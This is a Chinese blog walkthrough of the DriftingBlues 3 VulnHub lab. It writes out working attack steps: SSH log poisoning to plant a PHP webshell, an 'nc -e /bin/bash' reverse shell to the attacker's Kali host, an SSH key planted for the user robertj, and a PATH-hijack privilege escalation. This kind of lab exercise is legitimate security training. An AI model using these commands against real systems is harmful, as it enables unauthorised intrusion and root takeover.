• 靶机20 driftingblues3


    描述: __________

    获取标志

    难度:简单

    1、下载靶场

    靶机名称:driftingblues

    下载地址:

    DriftingBlues: 3 ~ VulnHub

    2、安装靶场

    以DC-1为例,将文件解压(一压缩包形式进行下载)。

    打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

    导入成功,开启此虚拟机( 当页面出现 driftingblues login 时表示安装成功)。

    3、获取靶机的flag(两个flag)

    前提:

    1、已知kali的IP地址(ifconfig)

    —— kali IP地址:192.168.108.129/24

    2、driftingblues 和kali在同一网段 | 已知 driftingblues 所在的网段

    —— driftingblues IP地址:192.168.108.164/24

    信息收集

    获取 driftingblues 的IP地址

    命令:arp-scan -I eth0 -l

    端口扫描

    命令:nmap -sV -p- -O 192.168.108.166

    //-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

    获取信息如下:

    端口号

    服务

    版本

    22

    ssh

    OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

    80

    http

    Apache httpd 2.4.38 ((Debian))

    操作系统:OS details: Linux 4.15 - 5.6

    查看80端口也没有什么发现,目录扫描获取到了一个 robots.txt 文件

    dirb http://192.168.108.166

    访问 http://192.168.108.166/eventadmins/ 之后又获得了提示信息:

    有问题的ssh,用户名:john、buddyG,一个地址: /littlequeenofspades.html

    进一步访问 http://192.168.108.166/littlequeenofspades.html 之后再源码里面发现了一个加密信息

    解密之后获取到了一个新的地址:intruder?/adminsfixit.php

    加密(base64):aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==

    一次解密:intruder? L2FkbWluc2ZpeGl0LnBocA==

    二次解密:intruder?/adminsfixit.php

    继续访问 http://192.168.108.166/adminsfixit.php 之后发现是一个 SSH 身份验证的日志文件

    登录ssh,并在用户名处写马(一句话木马,使用GET方式传参):

    ssh ''@192.168.108.166

    验证:http://192.168.108.166/adminsfixit.php?x=ls

    webshell

    通过日志文件给kali反弹shell

    nc -lvvp 9999

    ?x=nc -e /bin/bash 192.168.108.129 9999

    访问:http://192.168.108.166/adminsfixit.php?x=nc%20-e%20/bin/bash%20192.168.108.129%209999

    拿到shell之后使用python改善一下交互方式:

    python -c 'import pty;pty.spawn("/bin/bash")'

    查看普通用户的时候发现了一个用户名叫 robertj 的用户,再该用户的家目录下发现了 .ssh 文件夹,但是和上一个靶机不同的是这里并没有看到ssh的公私钥文件,不过该文件夹对于其他用户来讲居然是可以写入文件,所以这个靶机提权的方式就是考验ssh公私钥登录。

    思路:生成一堆ssh的公私钥,将公钥写入靶机,使用私钥登录

    前提:ssh配置文件/etc/ssh/sshd_config 中 PubkeyAuthentication选项参数值为 yes

    查看了一下发现果然在靶机该参数是开启的,那就简单了,直接上公钥

    直接在目标机生成一个公钥:

    ssh-keygen -t rsa

    将生成的私钥保存到:

    /home/robertj/.ssh/id_rsa

    密码设置空密码即可,并将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证

    下载私钥文件到本机直接登录就行

    python2 -m SimpleHTTPServer 9998

    wget http://192.168.108.166:9998/'id_rsa '

    mv 'id_rsa ' id_rsa

    chmod 400 id_rsa

    使用ssh登录:

    ssh robertj@192.168.108.166 -i id_rsa

    在 robert 用户的家目录下获取到第一个flag(user.txt)

    提权

    查看是否存在和sudo提权suid提权

    sudo -l

    find / -perm -4000 2>/dev/null

    在这里没有什么好的发现,查看版本也不能使用脏牛提权

    上传一个pspy64s,看看有没有什么定时执行的任务

    结果这个思路貌似也不太行

    换个脚本:linpeas.sh(这个脚本是一个辅助提权脚本,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码)


    发现了一个前面忽略的程序

    查看发现是乱码

    直接执行一下该程序试试

    可以看到,执行命令后,给我们返回了系统的网络信息、版本信息、以及中间这个,大概是靶机的hosts文件,猜测是调用了ifconfig、cat hosts、和uname命令

    命令劫持提权:

    原理:这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

    使用:首先编写一个cat文件,内容为/bin/bash即可,然后添加当前文件添加到环境变量中(export PATH=/home/robertj:$PATH)

    再次运行getinfo,提权成功

    这里有个坑,不知道什么原因,虽然在靶机上的root家目录下找到了的第二个flag,但是打不开,需要下载下来才能打开

    python2 -m SimpleHTTPServer 9999

    wget http://192.168.108.166:9999/root.txt

  • 相关阅读:
    Espent环境配置与实践
    GPU是什么?GPU有多重要?
    《Linux》day4--shell语法(下)
    出口美国操作要点汇总│走美国海运拼箱的注意事项│箱讯科技
    精读《前端未来展望》
    【网络安全】网络安全基础精讲 - 网络安全入门第一篇
    第十三天到达终点数字
    Html5+CSS3:第一讲:H5基础
    基于微信公众号的图书借阅平台设计与实现
    C++ --- Day05
  • 原文地址:https://blog.csdn.net/honest_run/article/details/127632106